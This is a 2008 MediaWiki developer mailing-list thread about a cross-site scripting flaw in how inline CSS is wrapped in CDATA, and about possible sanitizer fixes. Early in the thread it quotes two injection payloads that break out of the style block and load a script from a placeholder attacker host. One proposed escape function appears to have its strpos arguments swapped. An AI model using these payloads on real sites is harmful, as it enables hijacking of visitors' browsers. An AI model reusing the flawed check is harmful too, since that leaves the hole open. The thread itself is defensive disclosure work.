On Thu, Jul 31, 2008 at 12:57 PM, Rotem Liss &lt;rotemliss(a)gmail.com&gt; wrote: Well, that's because I included an undisguised URL. It lets this through untouched, which should be equivalent, IIRC (at least if the current connection is over HTTP): ]]></style><script type="text/javascript" src="//evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[ Also this, which should always be equivalent: ]]></style><script type="text/javascript">document.write( '<script type="text/javascript" src="htt' ); document.write( 'p://evil.com/take_over_browser.js"></script>' );</script><style type="text/css"><![CDATA[ checkCss assumes that its output will be executed as CSS, and is quite safe if that's the case. If the output can be executed as HTML, it's not safe at all. It doesn't recommend it, it just suggests it as one possibility to ensure that markup is valid: http://www.w3.org/TR/xhtml1/#h-4.8 This is in contrast to HTML, where (at least in practice) browsers would special-case the contents of script and style tags and might be kind if there were unescaped content there. Using htmlspecialchars is just as valid a way of escaping here. That's not an XSS exploit by itself, because that's added either by the software or by sysops, both of whom are allowed to inject arbitrary JS. Of course, there's no XSS vulnerability if unescaped *scripts* are put in CDATA tags anyway. You can inject arbitrary scripts without having to break outside the CDATA in that case, obviously.

On Thu, Jul 31, 2008 at 3:48 PM, Brion Vibber &lt;brion(a)wikimedia.org&gt; wrote: So in fact, a compliant HTML parser *would* parse the contents of <script> or <style> incorrectly, if it contained entities that were expected to be decoded? In that case my fix is wrong, and we should write up a Sanitizer::escapeCdata() and use that here (and elsewhere).

On Thu, Jul 31, 2008 at 6:25 PM, Brion Vibber &lt;brion(a)wikimedia.org&gt; wrote: Yeah, I see the problem. There are two reasonable solutions I see. One: public static function escapeCdata( $data ) { if( strpos( ']]>', $data ) == false ) { return $data; } return ''; } Two: public static function escapeCssForCdata( $css ) { return str_replace( ']]>', ']]\\00003E', $css ); } The first one is potentially annoying, but in both CSS and JavaScript it should be easy to work around the limitation. The second one is maybe nicer for CSS, *except* that I'm not totally sure that it would always work. I *think* the only place that literal ']]>' would be valid in CSS is comments and string literals. Comments don't matter, and I *hope* that all CSS clients would treat \\00003E the same as > in a literal string. Or in a URL, which isn't really a literal string in CSS, is it? Or similar things, I guess . . . The first way seems to be the most straightforward way to handle it for now. It's unlikely to come up with any reasonable frequency, and when it does it can be worked around by authors. If the second way actually works consistently, it would be nicer for CSS. I doubt anything comparable would work for JavaScript, since who knows where ']]>' could occur? if( x[y[z]]>7 ) {...}

Simetrical wrote: Specially because checkCss removes them, so no need to worry about them :) You would replace ">" by " >" here as it's an operator. But if it's in a string you want to replace with "+"> or '+'> Perhaps forbidding is the easiest wayy, and make the developers struggle around it, as they did for years with </script>

I'm not sure about the exploit side of things, but what I do know is that if you add the htmlspecialchars then it breaks the functionality because it converts quotes etc in the inline CSS into entities, so it really needs to be removed. Rotem Liss wrote:

The current revision doesn't allow you have quotes in the inline css for example the quotes in the following inline css will be converted to entities: {{#css: .foo { font-family: "Times New Roman"; } }} Simetrical wrote:

We're escaping for content, not escaping for attributes (attribute escaping should be handled by different code). So does anyone remember the parameters of htmlspecialchars? http://ca.php.net/htmlspecialchars string **htmlspecialchars** ( string $string [, int $quote_style [, string $charset [, bool $double_encode ]]] ) ($charset since 4.1.0; $double_encode since 5.2.3) You know that you can use: $text = htmlspecialchars( $text, ENT_NOQUOTES ); And the quotes won't be encoded. Though personally... When I make a sanitizer I go for what it's meant to do. Thing like my cleanHtml are meant to make things safe, not escaping of things. htmlspecialchars is meant to take text, and escape it so that when it's outputted into html it looks the same and isn't mangled by things that the renderer thinks are entities. So on that, my sanitizers only convert < and > into &lt; and &gt; they don't do any other encoding, and they don't double encode the entities for <>. Cause the point is to make the syntax so that it won't be considered evil html. And only <> needs to be escaped for that purpose. ~Daniel Friesen(Dantman, Nadir-Seen-Fire) of: -The Nadir-Point Group (http://nadir-point.com) --It's Wiki-Tools subgroup (http://wiki-tools.com) --The ElectronicMe project (http://electronic-me.org) --Games-G.P.S. (http://ggps.org) -And Wikia ACG on Wikia.com (http://wikia.com/wiki/Wikia_ACG) --Animepedia (http://anime.wikia.com) --Narutopedia (http://naruto.wikia.com) Simetrical wrote: